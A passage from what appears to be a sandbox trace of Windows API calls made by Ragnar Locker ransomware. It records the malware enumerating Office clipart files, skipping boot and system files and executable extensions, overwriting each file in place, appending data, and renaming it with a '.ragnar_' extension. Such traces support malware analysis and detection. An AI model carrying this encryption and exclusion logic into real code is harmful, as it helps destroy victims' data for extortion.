lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.649] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.650] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.650] GetProcessHeap () returned 0x580000 [0085.650] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.650] CloseHandle (hObject=0xf4) returned 1 [0085.650] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" [0085.650] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.ragnar_FD7BD9FC" [0085.650] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.650] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0085.650] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.650] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188519.WMF" | out: lpString1="J0188519.WMF") returned="J0188519.WMF" [0085.650] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned=".WMF" [0085.650] lstrcmpiW (lpString1="J0188519.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="autorun.inf") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="boot.ini") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="bootfont.bin") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="bootsect.bak") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="bootmgr") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="bootmgr.efi") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="bootmgfw.efi") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="desktop.ini") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="iconcache.db") returned 1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="ntldr") returned -1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="ntuser.dat") returned -1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="ntuser.dat.log") returned -1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="ntuser.ini") returned -1 [0085.651] lstrcmpiW (lpString1="J0188519.WMF", lpString2="thumbs.db") returned -1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.651] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 0x20 [0085.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.651] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5824) returned 1 [0085.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.652] GetProcessHeap () returned 0x580000 [0085.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.652] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.653] VirtualAlloc (lpAddress=0x0, dwSize=0x16c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.653] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16c0, lpOverlapped=0x0) returned 1 [0085.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.654] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.654] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16c0, lpOverlapped=0x0) returned 1 [0085.654] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.654] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.655] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.655] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.655] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.655] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.655] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.655] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.655] GetProcessHeap () returned 0x580000 [0085.655] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.655] CloseHandle (hObject=0xf4) returned 1 [0085.655] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" [0085.655] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.ragnar_FD7BD9FC" [0085.655] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0085.656] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.656] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188587.WMF" | out: lpString1="J0188587.WMF") returned="J0188587.WMF" [0085.656] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned=".WMF" [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="autorun.inf") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="boot.ini") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="bootfont.bin") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="bootsect.bak") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="bootmgr") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="bootmgr.efi") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="bootmgfw.efi") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="desktop.ini") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="iconcache.db") returned 1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="ntldr") returned -1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="ntuser.dat") returned -1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="ntuser.dat.log") returned -1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="ntuser.ini") returned -1 [0085.656] lstrcmpiW (lpString1="J0188587.WMF", lpString2="thumbs.db") returned -1 [0085.656] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.657] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.657] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.657] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.657] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.657] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.657] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 0x20 [0085.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.657] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15196) returned 1 [0085.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.657] GetProcessHeap () returned 0x580000 [0085.657] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.657] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.659] VirtualAlloc (lpAddress=0x0, dwSize=0x3b5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.659] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b5c, lpOverlapped=0x0) returned 1 [0085.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.660] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.660] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b5c, lpOverlapped=0x0) returned 1 [0085.660] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.660] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.661] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.661] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.661] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.661] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.661] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.661] GetProcessHeap () returned 0x580000 [0085.661] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.661] CloseHandle (hObject=0xf4) returned 1 [0085.661] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" [0085.661] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.ragnar_FD7BD9FC" [0085.661] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.662] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0085.662] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.662] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0188667.WMF" | out: lpString1="J0188667.WMF") returned="J0188667.WMF" [0085.662] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned=".WMF" [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="autorun.inf") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="boot.ini") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="bootfont.bin") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="bootsect.bak") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="bootmgr") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="bootmgr.efi") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="bootmgfw.efi") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="desktop.ini") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="iconcache.db") returned 1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="ntldr") returned -1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="ntuser.dat") returned -1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="ntuser.dat.log") returned -1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="ntuser.ini") returned -1 [0085.662] lstrcmpiW (lpString1="J0188667.WMF", lpString2="thumbs.db") returned -1 [0085.662] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.662] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.662] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.662] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.662] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.663] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.663] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 0x20 [0085.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.663] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16030) returned 1 [0085.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.663] GetProcessHeap () returned 0x580000 [0085.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.663] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.668] VirtualAlloc (lpAddress=0x0, dwSize=0x3e9e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.668] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.668] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.668] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3e9e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3e9e, lpOverlapped=0x0) returned 1 [0085.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.670] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3e9e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3e9e, lpOverlapped=0x0) returned 1 [0085.670] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.670] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.670] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.670] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.670] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.671] GetProcessHeap () returned 0x580000 [0085.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.671] CloseHandle (hObject=0xf4) returned 1 [0085.671] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" | out: 